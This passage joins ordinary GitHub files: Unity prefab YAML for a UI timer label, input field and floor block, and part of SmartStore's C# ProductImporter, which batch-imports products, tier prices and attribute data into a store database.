m_AnchoredPosition: {x: 0, y: 0} m_SizeDelta: {x: 0, y: 0} m_Pivot: {x: 0, y: 0} --- !u!114 &5417053017758573638 MonoBehaviour: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} m_GameObject: {fileID: 5417053017758573657} m_Enabled: 1 m_EditorHideFlags: 0 m_Script: {fileID: 11500000, guid: 59f8146938fff824cb5fd77236b75775, type: 3} m_Name: m_EditorClassIdentifier: m_Padding: m_Left: 0 m_Right: 0 m_Top: 0 m_Bottom: 0 m_ChildAlignment: 4 m_Spacing: 0 m_ChildForceExpandWidth: 1 m_ChildForceExpandHeight: 1 m_ChildControlWidth: 0 m_ChildControlHeight: 0 m_ChildScaleWidth: 0 m_ChildScaleHeight: 0 --- !u!114 &5417053017758573639 MonoBehaviour: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} m_GameObject: {fileID: 5417053017758573657} m_Enabled: 1 m_EditorHideFlags: 0 m_Script: {fileID: 11500000, guid: 3245ec927659c4140ac4f8d17403cc18, type: 3} m_Name: m_EditorClassIdentifier: m_HorizontalFit: 2 m_VerticalFit: 2 --- !u!114 &8771048921060398939 MonoBehaviour: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} m_GameObject: {fileID: 5417053017758573657} m_Enabled: 1 m_EditorHideFlags: 0 m_Script: {fileID: 11500000, guid: 306cc8c2b49d7114eaa3623786fc2126, type: 3} m_Name: m_EditorClassIdentifier: m_IgnoreLayout: 0 m_MinWidth: -1 m_MinHeight: 96 m_PreferredWidth: -1 m_PreferredHeight: -1 m_FlexibleWidth: -1 m_FlexibleHeight: -1 m_LayoutPriority: 1 --- !u!1 &5417053018035381817 GameObject: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} serializedVersion: 6 m_Component: - component: {fileID: 5417053018035381816} - component: {fileID: 5417053018035381796} - component: {fileID: 5417053018035381797} - component: {fileID: 5417053018035381798} - component: {fileID: 5417053018035381799} m_Layer: 5 m_Name: Unit m_TagString: Untagged m_Icon: {fileID: 0} m_NavMeshLayer: 0 m_StaticEditorFlags: 0 m_IsActive: 1 --- !u!224 &5417053018035381816 RectTransform: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} m_GameObject: {fileID: 5417053018035381817} m_LocalRotation: {x: -0, y: -0, z: -0, w: 1} m_LocalPosition: {x: 0, y: 0, z: 0} m_LocalScale: {x: 1, y: 1, z: 1} m_Children: [] m_Father: {fileID: 5417053016401900247} m_RootOrder: 1 m_LocalEulerAnglesHint: {x: 0, y: 0, z: 0} m_AnchorMin: {x: 0, y: 0} m_AnchorMax: {x: 0, y: 0} m_AnchoredPosition: {x: 266, y: 0} m_SizeDelta: {x: 0, y: 0} m_Pivot: {x: 0.5, y: 0.5} --- !u!222 &5417053018035381796 CanvasRenderer: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} m_GameObject: {fileID: 5417053018035381817} m_CullTransparentMesh: 0 --- !u!114 &5417053018035381797 MonoBehaviour: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} m_GameObject: {fileID: 5417053018035381817} m_Enabled: 1 m_EditorHideFlags: 0 m_Script: {fileID: 11500000, guid: 5f7201a12d95ffc409449d95f23cf332, type: 3} m_Name: m_EditorClassIdentifier: m_Material: {fileID: 0} m_Color: {r: 1, g: 1, b: 1, a: 1} m_RaycastTarget: 0 m_OnCullStateChanged: m_PersistentCalls: m_Calls: [] m_FontData: m_Font: {fileID: 12800000, guid: 7a6b59cdd73e04e37b341fa45c996f42, type: 3} m_FontSize: 36 m_FontStyle: 0 m_BestFit: 0 m_MinSize: 2 m_MaxSize: 40 m_Alignment: 0 m_AlignByGeometry: 0 m_RichText: 0 m_HorizontalOverflow: 0 m_VerticalOverflow: 1 m_LineSpacing: 1 m_Text: seconds --- !u!114 &5417053018035381798 MonoBehaviour: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} m_GameObject: {fileID: 5417053018035381817} m_Enabled: 1 m_EditorHideFlags: 0 m_Script: {fileID: 11500000, guid: 3245ec927659c4140ac4f8d17403cc18, type: 3} m_Name: m_EditorClassIdentifier: m_HorizontalFit: 2 m_VerticalFit: 2 --- !u!114 &5417053018035381799 MonoBehaviour: m_ObjectHideFlags: 0 m_CorrespondingSourceObject: {fileID: 0} m_PrefabInstance: {fileID: 0} m_PrefabAsset: {fileID: 0} m_GameObject: {fileID: 5417053018035381817} m_Enabled: 1 m_EditorHideFlags: 0 m_Script: {fileID: 11500000, guid: 97bc2ebab6563400c95b036136d26ea6, type: 3} m_Name: m_EditorClassIdentifier: m_Inverse: 0 m_MaskInteraction: 85 m_UseStencil: 0 --- !u!1001 &5417053017034761068 PrefabInstance: m_ObjectHideFlags: 0 serializedVersion: 2 m_Modification: m_TransformParent: {fileID: 5417053016401900247} m_Modifications: - target: {fileID: 7127207444520647297, guid: e389d791780bd45419f1818454246d65, type: 3} propertyPath: m_Text value: '#000000' objectReference: {fileID: 0} - target: {fileID: 7127207444877511054, guid: e389d791780bd45419f1818454246d65, type: 3} propertyPath: m_AnchorMin.y value: 0 objectReference: {fileID: 0} - target: {fileID: 7127207444877511054, guid: e389d791780bd45419f1818454246d65, type: 3} propertyPath: m_AnchorMax.y value: 0 objectReference: {fileID: 0} - target: {fileID: 7127207444877511054, guid: e389d791780bd45419f1818454246d65, type: 3} propertyPath: m_AnchoredPosition.x value: 0 objectReference: {fileID: 0} - target: {fileID: 7127207444877511054, guid: e389d791780bd45419f1818454246d65, type: 3} propertyPath: m_AnchoredPosition.y value: 0 objectReference: {fileID: 0} - target: {fileID: 7127207444877511054, guid: e389d791780bd45419f1818454246d65, type: 3} propertyPath: m_SizeDelta.x value: 132 objectReference: {fileID: 0} - target: {fileID: 7127207445079723955, guid: e389d791780bd45419f1818454246d65, type: 3} propertyPath: m_Name value: Text objectReference: {fileID: 0} - target: {fileID: 7127207445422034540, guid: e389d791780bd45419f1818454246d65, type: 3} propertyPath: m_Name value: InputField objectReference: {fileID: 0} - target: {fileID: 7127207445422034541, guid: e389d791780bd45419f1818454246d65, type: 3} propertyPath: m_LocalPosition.x value: 0 objectReference: {fileID: 0} - target: {fileID: 7127207445422034541, guid: e389d791780bd45419f1818454246d65, type: 3} propertyPath: m_LocalPosition.y value: 0 objectReference: {fileID: 0} - target: {fileID: 7127207445422034541, guid: e389d791780bd45419f1818454246d65, type: 3} propertyPath: m_LocalPosition.z value: 0 objectReference: {fileID: 0} - target: {fileID: 7127207445422034541, guid: e389d791780bd45419f1818454246d65, type: 3} propertyPath: m_LocalRotation.x value: -0 objectReference: {fileID: 0} - target: {fileID: 7127207445422034541, guid: e389d791780bd45419f1818454246d65, type: 3} propertyPath: m_LocalRotation.y value: -0 objectReference: {fileID: 0} - target: {fileID: 7127207445422034541, guid: e389d791780bd45419f1818454246d65, type: 3} propertyPath: m_LocalRotation.z value: -0 objectReference: {fileID: 0} - target: {fileID: 7127207445422034541, guid: e389d791780bd45419f1818454246d65, type: 3} propertyPath: m_LocalRotation.w value: 1 objectReference: {fileID: 0} - target: {fileID: 7127207445422034541, guid: e389d791780bd45419f1818454246d65, type: 3} propertyPath: m_RootOrder value: 0 objectReference: {fileID: 0} - target: {fileID: 7127207445422034541, guid: e389d791780bd45419f1818454246d65, type: 3} propertyPath: m_LocalEulerAnglesHint.x value: 0 objectReference: {fileID: 0} - target: {fileID: 7127207445422034541, guid: e389d791780bd45419f1818454246d65, type: 3} propertyPath: m_LocalEulerAnglesHint.y value: 0 objectReference: {fileID: 0} - target: {fileID: 7127207445422034541, guid: e389d791780bd45419f1818454246d65, type: 3} propertyPath: m_LocalEulerAnglesHint.z value: 0 objectReference: {fileID: 0} - target: {fileID: 7127207445422034541, guid: e389d791780bd45419f1818454246d65, type: 3} propertyPath: m_AnchoredPosition.x value: 118.5 objectReference: {fileID: 0} - target: {fileID: 7127207445422034541, guid: e389d791780bd45419f1818454246d65, type: 3} propertyPath: m_AnchoredPosition.y value: -48 objectReference: {fileID: 0} - target: {fileID: 7127207445422034541, guid: e389d791780bd45419f1818454246d65, type: 3} propertyPath: m_SizeDelta.x value: 0 objectReference: {fileID: 0} - target: {fileID: 7127207445422034541, guid: e389d791780bd45419f1818454246d65, type: 3} propertyPath: m_SizeDelta.y value: 0 objectReference: {fileID: 0} - target: {fileID: 7127207445422034541, guid: e389d791780bd45419f1818454246d65, type: 3} propertyPath: m_AnchorMin.x value: 0 objectReference: {fileID: 0} - target: {fileID: 7127207445422034541, guid: e389d791780bd45419f1818454246d65, type: 3} propertyPath: m_AnchorMin.y value: 1 objectReference: {fileID: 0} - target: {fileID: 7127207445422034541, guid: e389d791780bd45419f1818454246d65, type: 3} propertyPath: m_AnchorMax.x value: 0 objectReference: {fileID: 0} - target: {fileID: 7127207445422034541, guid: e389d791780bd45419f1818454246d65, type: 3} propertyPath: m_AnchorMax.y value: 1 objectReference: {fileID: 0} - target: {fileID: 7127207445422034541, guid: e389d791780bd45419f1818454246d65, type: 3} propertyPath: m_Pivot.x value: 0.5 objectReference: {fileID: 0} - target: {fileID: 7127207445422034541, guid: e389d791780bd45419f1818454246d65, type: 3} propertyPath: m_Pivot.y value: 0.5 objectReference: {fileID: 0} m_RemovedComponents: [] m_SourcePrefab: {fileID: 100100000, guid: e389d791780bd45419f1818454246d65, type: 3} --- !u!224 &3010041089604644097 stripped RectTransform: m_CorrespondingSourceObject: {fileID: 7127207445422034541, guid: e389d791780bd45419f1818454246d65, type: 3} m_PrefabInstance: {fileID: 5417053017034761068} m_PrefabAsset: {fileID: 0} --- !u!114 &3010041090148477667 stripped MonoBehaviour: m_CorrespondingSourceObject: {fileID: 7127207444877511055, guid: e389d791780bd45419f1818454246d65, type: 3} m_PrefabInstance: {fileID: 5417053017034761068} m_PrefabAsset: {fileID: 0} m_GameObject: {fileID: 0} m_Enabled: 1 m_EditorHideFlags: 0 m_Script: {fileID: 11500000, guid: d199490a83bb2b844b9695cbf13b01ef, type: 3} m_Name: m_EditorClassIdentifier: --- !u!114 &3010041090037029357 stripped MonoBehaviour: m_CorrespondingSourceObject: {fileID: 7127207444520647297, guid: e389d791780bd45419f1818454246d65, type: 3} m_PrefabInstance: {fileID: 5417053017034761068} m_PrefabAsset: {fileID: 0} m_GameObject: {fileID: 0} m_Enabled: 1 m_EditorHideFlags: 0 m_Script: {fileID: 11500000, guid: 5f7201a12d95ffc409449d95f23cf332, type: 3} m_Name: m_EditorClassIdentifier:
{ "pile_set_name": "Github" }
%YAML 1.1 %TAG !u! tag:unity3d.com,2011: --- !u!1 &100000 GameObject: m_ObjectHideFlags: 0 m_PrefabParentObject: {fileID: 0} m_PrefabInternal: {fileID: 100100000} serializedVersion: 4 m_Component: - 4: {fileID: 400000} - 33: {fileID: 3300000} - 23: {fileID: 2300000} - 65: {fileID: 6500000} m_Layer: 0 m_Name: FloorPrototype04x01x04 m_TagString: Untagged m_Icon: {fileID: 0} m_NavMeshLayer: 0 m_StaticEditorFlags: 0 m_IsActive: 1 --- !u!4 &400000 Transform: m_ObjectHideFlags: 1 m_PrefabParentObject: {fileID: 0} m_PrefabInternal: {fileID: 100100000} m_GameObject: {fileID: 100000} m_LocalRotation: {x: 8.14603425e-08, y: 0, z: -0, w: 1} m_LocalPosition: {x: -0, y: 0, z: 0} m_LocalScale: {x: 1, y: 1, z: 1} m_Children: [] m_Father: {fileID: 0} m_RootOrder: 0 --- !u!23 &2300000 MeshRenderer: m_ObjectHideFlags: 1 m_PrefabParentObject: {fileID: 0} m_PrefabInternal: {fileID: 100100000} m_GameObject: {fileID: 100000} m_Enabled: 1 m_CastShadows: 0 m_ReceiveShadows: 1 m_LightmapIndex: 255 m_LightmapIndexDynamic: 255 m_LightmapTilingOffset: {x: 1, y: 1, z: 0, w: 0} m_LightmapTilingOffsetDynamic: {x: 1, y: 1, z: 0, w: 0} m_Materials: - {fileID: 2100000, guid: 76ff537c8e1a84345868e6aeee938ab3, type: 2} m_SubsetIndices: m_StaticBatchRoot: {fileID: 0} m_UseLightProbes: 0 m_ReflectionProbeUsage: 1 m_ProbeAnchor: {fileID: 0} m_ScaleInLightmap: 1 m_PreserveUVs: 0 m_AutoUVMaxDistance: .5 m_AutoUVMaxAngle: 89 m_LightmapParameters: {fileID: 0} m_SortingLayerID: 0 m_SortingOrder: 0 --- !u!33 &3300000 MeshFilter: m_ObjectHideFlags: 1 m_PrefabParentObject: {fileID: 0} m_PrefabInternal: {fileID: 100100000} m_GameObject: {fileID: 100000} m_Mesh: {fileID: 4300002, guid: 080bc076ed19adb4091adca05de83d66, type: 3} --- !u!65 &6500000 BoxCollider: m_ObjectHideFlags: 1 m_PrefabParentObject: {fileID: 0} m_PrefabInternal: {fileID: 100100000} m_GameObject: {fileID: 100000} m_Material: {fileID: 0} m_IsTrigger: 0 m_Enabled: 1 serializedVersion: 2 m_Size: {x: 4, y: 1, z: 4} m_Center: {x: 0, y: -.499999702, z: 0} --- !u!1001 &100100000 Prefab: m_ObjectHideFlags: 1 serializedVersion: 2 m_Modification: m_TransformParent: {fileID: 0} m_Modifications: [] m_RemovedComponents: [] m_ParentPrefab: {fileID: 0} m_RootGameObject: {fileID: 100000} m_IsPrefabParent: 1
{ "pile_set_name": "Github" }
using System; using System.Collections.Generic; using System.Globalization; using System.IO; using System.Linq; using System.Linq.Expressions; using SmartStore.Core.Async; using SmartStore.Core.Data; using SmartStore.Core.Domain.Catalog; using SmartStore.Core.Domain.DataExchange; using SmartStore.Core.Domain.Localization; using SmartStore.Core.Domain.Media; using SmartStore.Core.Domain.Seo; using SmartStore.Core.Domain.Stores; using SmartStore.Core.IO; using SmartStore.Core.Localization; using SmartStore.Data.Utilities; using SmartStore.Services.DataExchange.Import; using SmartStore.Services.DataExchange.Import.Events; using SmartStore.Services.Localization; using SmartStore.Services.Media; using SmartStore.Utilities; namespace SmartStore.Services.Catalog.Importer { public class ProductImporter : EntityImporterBase { private readonly IRepository<ProductManufacturer> _productManufacturerRepository; private readonly IRepository<ProductCategory> _productCategoryRepository; private readonly IRepository<ProductTag> _productTagRepository; private readonly IRepository<Product> _productRepository; private readonly IRepository<TierPrice> _tierPriceRepository; private readonly IRepository<ProductVariantAttributeValue> _attributeValueRepository; private readonly IRepository<ProductVariantAttributeCombination> _attributeCombinationRepository; private readonly IMediaService _mediaService; private readonly IFolderService _folderService; private readonly IManufacturerService _manufacturerService; private readonly ICategoryService _categoryService; private readonly IProductService _productService; private readonly IProductTemplateService _productTemplateService; private readonly IProductAttributeService _productAttributeService; private readonly FileDownloadManager _fileDownloadManager; private static readonly Dictionary<string, Expression<Func<Product, string>>> _localizableProperties = new Dictionary<string, Expression<Func<Product, string>>> { { "Name", x => x.Name }, { "ShortDescription", x => x.ShortDescription }, { "FullDescription", x => x.FullDescription }, { "MetaKeywords", x => x.MetaKeywords }, { "MetaDescription", x => x.MetaDescription }, { "MetaTitle", x => x.MetaTitle }, { "BundleTitleText", x => x.BundleTitleText } }; public ProductImporter( IRepository<ProductManufacturer> productManufacturerRepository, IRepository<ProductCategory> productCategoryRepository, IRepository<ProductTag> productTagRepository, IRepository<Product> productRepository, IRepository<TierPrice> tierPriceRepository, IRepository<ProductVariantAttributeValue> attributeValueRepository, IRepository<ProductVariantAttributeCombination> attributeCombinationRepository, IMediaService mediaService, IFolderService folderService, IManufacturerService manufacturerService, ICategoryService categoryService, IProductService productService, IProductTemplateService productTemplateService, IProductAttributeService productAttributeService, FileDownloadManager fileDownloadManager) { _productManufacturerRepository = productManufacturerRepository; _productCategoryRepository = productCategoryRepository; _productTagRepository = productTagRepository; _productRepository = productRepository; _tierPriceRepository = tierPriceRepository; _attributeValueRepository = attributeValueRepository; _attributeCombinationRepository = attributeCombinationRepository; _mediaService = mediaService; _folderService = folderService; _manufacturerService = manufacturerService; _categoryService = categoryService; _productService = productService; _productTemplateService = productTemplateService; _productAttributeService = productAttributeService; _fileDownloadManager = fileDownloadManager; } public Localizer T { get; set; } = NullLocalizer.Instance; protected override void Import(ImportExecuteContext context) { using (var scope = new DbContextScope(ctx: context.Services.DbContext, hooksEnabled: false, autoDetectChanges: false, proxyCreation: false, validateOnSave: false)) { Initialize(context); if (context.File.RelatedType.HasValue) { switch (context.File.RelatedType.Value) { case RelatedEntityType.TierPrice: ImportTierPrices(context); break; case RelatedEntityType.ProductVariantAttributeValue: ImportAttributeValues(context); break; case RelatedEntityType.ProductVariantAttributeCombination: ImportAttributeCombinations(context); break; } } else { ImportProducts(context); } } } protected virtual void ImportProducts(ImportExecuteContext context) { var segmenter = context.DataSegmenter; var srcToDestId = new Dictionary<int, ImportProductMapping>(); var templateViewPaths = _productTemplateService.GetAllProductTemplates().ToDictionarySafe(x => x.ViewPath, x => x.Id); while (context.Abort == DataExchangeAbortion.None && segmenter.ReadNextBatch()) { var batch = segmenter.GetCurrentBatch<Product>(); // Perf: detach entities _productRepository.Context.DetachEntities(x => { return x is Product || x is UrlRecord || x is StoreMapping || x is ProductVariantAttribute || x is LocalizedProperty || x is ProductBundleItem || x is ProductCategory || x is ProductManufacturer || x is Category || x is Manufacturer || x is ProductMediaFile || x is MediaFile || x is ProductTag || x is TierPrice; }); //_productRepository.Context.DetachAll(true); context.SetProgress(segmenter.CurrentSegmentFirstRowIndex - 1, segmenter.TotalRows); // =========================================================================== // 1.) Import products // =========================================================================== int savedProducts = 0; try { savedProducts = ProcessProducts(context, batch, templateViewPaths, srcToDestId); } catch (Exception ex) { context.Result.AddError(ex, segmenter.CurrentSegment, "ProcessProducts"); } // reduce batch to saved (valid) products. // No need to perform import operations on errored products. batch = batch.Where(x => x.Entity != null && !x.IsTransient).ToArray(); // update result object context.Result.NewRecords += batch.Count(x => x.IsNew); context.Result.ModifiedRecords += Math.Max(0, savedProducts - context.Result.NewRecords); // =========================================================================== // 2.) Import SEO Slugs // IMPORTANT: Unlike with Products AutoCommitEnabled must be TRUE, // as Slugs are going to be validated against existing ones in DB. // =========================================================================== if (segmenter.HasColumn("SeName", true) || batch.Any(x => x.IsNew || x.NameChanged)) { try { _productRepository.Context.AutoDetectChangesEnabled = true; ProcessSlugs(context, batch, typeof(Product).Name); } catch (Exception ex) { context.Result.AddError(ex, segmenter.CurrentSegment, "ProcessSlugs"); } finally { _productRepository.Context.AutoDetectChangesEnabled = false; } } // =========================================================================== // 3.) Import StoreMappings // =========================================================================== if (segmenter.HasColumn("StoreIds")) { try { ProcessStoreMappings(context, batch); } catch (Exception ex) { context.Result.AddError(ex, segmenter.CurrentSegment, "ProcessStoreMappings"); } } // =========================================================================== // 4.) Import Localizations // =========================================================================== try { ProcessLocalizations(context, batch, _localizableProperties); } catch (Exception ex) { context.Result.AddError(ex, segmenter.CurrentSegment, "ProcessLocalizations"); } // =========================================================================== // 5.) Import product category mappings // =========================================================================== if (segmenter.HasColumn("CategoryIds")) { try { ProcessProductCategories(context, batch); } catch (Exception ex) { context.Result.AddError(ex, segmenter.CurrentSegment, "ProcessProductCategories"); } } // =========================================================================== // 6.) Import product manufacturer mappings // =========================================================================== if (segmenter.HasColumn("ManufacturerIds")) { try { ProcessProductManufacturers(context, batch); } catch (Exception ex) { context.Result.AddError(ex, segmenter.CurrentSegment, "ProcessProductManufacturers"); } } // =========================================================================== // 7.) Import product picture mappings // =========================================================================== if (segmenter.HasColumn("ImageUrls")) { try { ProcessProductPictures(context, batch); } catch (Exception ex) { context.Result.AddError(ex, segmenter.CurrentSegment, "ProcessProductPictures"); } } // =========================================================================== // 8.) Import product tag names // =========================================================================== if (segmenter.HasColumn("TagNames")) { try { ProcessProductTags(context, batch); } catch (Exception ex) { context.Result.AddError(ex, segmenter.CurrentSegment, "ProcessProductTags"); } } context.Services.EventPublisher.Publish(new ImportBatchExecutedEvent<Product>(context, batch)); } // =========================================================================== // 9.) Map parent id of inserted products // =========================================================================== if (srcToDestId.Any() && segmenter.HasColumn("Id") && segmenter.HasColumn("ParentGroupedProductId") && !segmenter.IsIgnored("ParentGroupedProductId")) { segmenter.Reset(); while (context.Abort == DataExchangeAbortion.None && segmenter.ReadNextBatch()) { var batch = segmenter.GetCurrentBatch<Product>(); _productRepository.Context.DetachAll(false); try { ProcessProductMappings(context, batch, srcToDestId); } catch (Exception ex) { context.Result.AddError(ex, segmenter.CurrentSegment, "ProcessParentMappings"); } } } // =========================================================================== // 10.) PostProcess: normalization // =========================================================================== DataMigrator.FixProductMainPictureIds(_productRepository.Context, UtcNow); } protected virtual void ImportTierPrices(ImportExecuteContext context) { var segmenter = context.DataSegmenter; var entityName = RelatedEntityType.TierPrice.GetLocalizedEnum(context.Services.Localization, context.Services.WorkContext); var processingInfo = T("Admin.Common.ProcessingInfo").Text; while (context.Abort == DataExchangeAbortion.None && segmenter.ReadNextBatch()) { var savedEntities = 0; var batch = segmenter.GetCurrentBatch<TierPrice>(); var msg = processingInfo.FormatInvariant(entityName, segmenter.CurrentSegmentFirstRowIndex - 1, segmenter.TotalRows); _tierPriceRepository.Context.DetachEntities(x => x is TierPrice || x is Product); context.SetProgress(msg); try { _tierPriceRepository.AutoCommitEnabled = false; foreach (var row in batch) { var id = row.GetDataValue<int>("Id"); var tierPrice = id > 0 ? _tierPriceRepository.GetById(id) : null; if (tierPrice == null) { if (context.UpdateOnly) { ++context.Result.SkippedRecords; continue; } // ProductId is required for new tier prices. var productId = row.GetDataValue<int>("ProductId"); if (productId == 0) { ++context.Result.SkippedRecords; context.Result.AddError("The 'ProductId' field is required for new tier prices. Skipping row.", row.GetRowInfo(), "ProductId"); continue; } tierPrice = new TierPrice { ProductId = productId }; } row.Initialize(tierPrice, null); // Ignore ProductId field. We only update volatile property values and want to avoid accidents. row.SetProperty(context.Result, (x) => x.StoreId); row.SetProperty(context.Result, (x) => x.CustomerRoleId); row.SetProperty(context.Result, (x) => x.Quantity); row.SetProperty(context.Result, (x) => x.Price); if (row.TryGetDataValue("CalculationMethod", out int calcMethod)) { tierPrice.CalculationMethod = (TierPriceCalculationMethod)calcMethod; } if (row.IsTransient) { _tierPriceRepository.Insert(tierPrice); } else { //_tierPriceRepository.Update(tierPrice); // unnecessary: we use DetectChanges() } } savedEntities = _tierPriceRepository.Context.SaveChanges(); } catch (Exception ex) { context.Result.AddError(ex, segmenter.CurrentSegment, "ImportTierPrices"); } batch = batch.Where(x => x.Entity != null && !x.IsTransient).ToArray(); context.Result.NewRecords += batch.Count(x => x.IsNew); context.Result.ModifiedRecords += Math.Max(0, savedEntities - context.Result.NewRecords); // Update has tier prices property for inserted records. var insertedProductIds = new HashSet<int>(batch.Where(x => x.IsNew).Select(x => x.Entity.ProductId)); var products = _productService.GetProductsByIds(insertedProductIds.ToArray()); if (products.Any()) { products.Each(x => _productService.UpdateHasTierPricesProperty(x)); _productRepository.Context.SaveChanges(); } } } protected virtual void ImportAttributeValues(ImportExecuteContext context) { var segmenter = context.DataSegmenter; var entityName = RelatedEntityType.ProductVariantAttributeValue.GetLocalizedEnum(context.Services.Localization, context.Services.WorkContext); var processingInfo = T("Admin.Common.ProcessingInfo").Text; while (context.Abort == DataExchangeAbortion.None && segmenter.ReadNextBatch()) { var savedEntities = 0; var batch = segmenter.GetCurrentBatch<ProductVariantAttributeValue>(); var msg = processingInfo.FormatInvariant(entityName, segmenter.CurrentSegmentFirstRowIndex - 1, segmenter.TotalRows); _attributeValueRepository.Context.DetachEntities(x => x is ProductVariantAttributeValue); context.SetProgress(msg); try { _attributeValueRepository.AutoCommitEnabled = false; foreach (var row in batch) { var id = row.GetDataValue<int>("Id"); var attributeValue = id > 0 ? _attributeValueRepository.GetById(id) : null; if (attributeValue == null) { if (context.UpdateOnly) { ++context.Result.SkippedRecords; continue; } // ProductVariantAttributeId is required for new attribute values. var pvaId = row.GetDataValue<int>("ProductVariantAttributeId"); if (pvaId == 0) { ++context.Result.SkippedRecords; context.Result.AddError("The 'ProductVariantAttributeId' field is required for new attribute values. Skipping row.", row.GetRowInfo(), "ProductVariantAttributeId"); continue; } if (!row.HasDataValue("Name")) { ++context.Result.SkippedRecords; context.Result.AddError("The 'Name' field is required for new attribute values. Skipping row.", row.GetRowInfo(), "Name"); continue; } attributeValue = new ProductVariantAttributeValue { ProductVariantAttributeId = pvaId }; } row.Initialize(attributeValue, null); // Ignore ProductVariantAttributeId field. We only update volatile property values and want to avoid accidents. row.SetProperty(context.Result, (x) => x.Alias); row.SetProperty(context.Result, (x) => x.Name); row.SetProperty(context.Result, (x) => x.Color); row.SetProperty(context.Result, (x) => x.PriceAdjustment); row.SetProperty(context.Result, (x) => x.WeightAdjustment); row.SetProperty(context.Result, (x) => x.Quantity, 10000); row.SetProperty(context.Result, (x) => x.IsPreSelected); row.SetProperty(context.Result, (x) => x.DisplayOrder); row.SetProperty(context.Result, (x) => x.ValueTypeId); row.SetProperty(context.Result, (x) => x.LinkedProductId); if (row.IsTransient) { _attributeValueRepository.Insert(attributeValue); } else { //_attributeValueRepository.Update(attributeValue); // unnecessary: we use DetectChanges() } } savedEntities = _attributeValueRepository.Context.SaveChanges(); } catch (Exception ex) { context.Result.AddError(ex, segmenter.CurrentSegment, "ImportAttributeValues"); } batch = batch.Where(x => x.Entity != null && !x.IsTransient).ToArray(); context.Result.NewRecords += batch.Count(x => x.IsNew); context.Result.ModifiedRecords += Math.Max(0, savedEntities - context.Result.NewRecords); // MediaHelper.UpdatePictureTransientStateFor() not required, I guess, because there is no picture upload. } } protected virtual void ImportAttributeCombinations(ImportExecuteContext context) { var segmenter = context.DataSegmenter; var entityName = RelatedEntityType.ProductVariantAttributeCombination.GetLocalizedEnum(context.Services.Localization, context.Services.WorkContext); var processingInfo = T("Admin.Common.ProcessingInfo").Text; var lowestCombinationPriceProductIds = new HashSet<int>(); while (context.Abort == DataExchangeAbortion.None && segmenter.ReadNextBatch()) { var savedEntities = 0; var batch = segmenter.GetCurrentBatch<ProductVariantAttributeCombination>(); var msg = processingInfo.FormatInvariant(entityName, segmenter.CurrentSegmentFirstRowIndex - 1, segmenter.TotalRows); _attributeCombinationRepository.Context.DetachEntities(x => x is ProductVariantAttributeCombination || x is Product); context.SetProgress(msg); try { _attributeCombinationRepository.AutoCommitEnabled = false; foreach (var row in batch) { var id = row.GetDataValue<int>("Id"); var combination = id > 0 ? _attributeCombinationRepository.GetById(id) : null; // No Id? Try key fields. if (combination == null) { foreach (var keyName in context.KeyFieldNames) { var keyValue = row.GetDataValue<string>(keyName); if (keyValue.HasValue()) { switch (keyName) { case "Sku": combination = _productAttributeService.GetProductVariantAttributeCombinationBySku(keyValue); break; case "Gtin": combination = _productAttributeService.GetAttributeCombinationByGtin(keyValue); break; case "ManufacturerPartNumber": combination = _productAttributeService.GetAttributeCombinationByMpn(keyValue); break; } } if (combination != null) { break; } } } if (combination == null) { // We do not insert records here to avoid inconsistent attribute combination data. ++context.Result.SkippedRecords; context.Result.AddError("The 'Id' or another key field is required. Inserting attribute combinations not supported. Skipping row.", row.GetRowInfo(), "Id"); continue; } row.Initialize(combination, null); if (row.TryGetDataValue("Price", out decimal? price) && price != combination.Price) { lowestCombinationPriceProductIds.Add(combination.ProductId); } // Ignore ProductId field. We only update volatile property values and want to avoid accidents. row.SetProperty(context.Result, (x) => x.Sku); row.SetProperty(context.Result, (x) => x.Gtin); row.SetProperty(context.Result, (x) => x.ManufacturerPartNumber); row.SetProperty(context.Result, (x) => x.StockQuantity, 10000); row.SetProperty(context.Result, (x) => x.Price); row.SetProperty(context.Result, (x) => x.Length); row.SetProperty(context.Result, (x) => x.Width); row.SetProperty(context.Result, (x) => x.Height); row.SetProperty(context.Result, (x) => x.BasePriceAmount); row.SetProperty(context.Result, (x) => x.BasePriceBaseAmount); row.SetProperty(context.Result, (x) => x.AssignedMediaFileIds); row.SetProperty(context.Result, (x) => x.IsActive, true); row.SetProperty(context.Result, (x) => x.AllowOutOfStockOrders); row.SetProperty(context.Result, (x) => x.DeliveryTimeId); row.SetProperty(context.Result, (x) => x.QuantityUnitId); row.SetProperty(context.Result, (x) => x.AttributesXml); } savedEntities = _attributeCombinationRepository.Context.SaveChanges(); } catch (Exception ex) { context.Result.AddError(ex, segmenter.CurrentSegment, "ImportAttributeCombinations"); } batch = batch.Where(x => x.Entity != null && !x.IsTransient).ToArray(); context.Result.NewRecords += batch.Count(x => x.IsNew); context.Result.ModifiedRecords += Math.Max(0, savedEntities - context.Result.NewRecords); // Update lowest attribute combination price property. var products = _productService.GetProductsByIds(lowestCombinationPriceProductIds.ToArray()); if (products.Any()) { products.Each(x => _productService.UpdateLowestAttributeCombinationPriceProperty(x)); _productRepository.Context.SaveChanges(); } } } protected virtual int ProcessProducts( ImportExecuteContext context, IEnumerable<ImportRow<Product>> batch, Dictionary<string, int> templateViewPaths, Dictionary<int, ImportProductMapping> srcToDestId) { _productRepository.AutoCommitEnabled = false; var defaultTemplateId = templateViewPaths["Product"]; var hasNameColumn = context.DataSegmenter.HasColumn("Name"); foreach (var row in batch) { Product product = null; var id = row.GetDataValue<int>("Id"); foreach (var keyName in context.KeyFieldNames) { var keyValue = row.GetDataValue<string>(keyName); if (keyValue.HasValue() || id > 0) { switch (keyName) { case 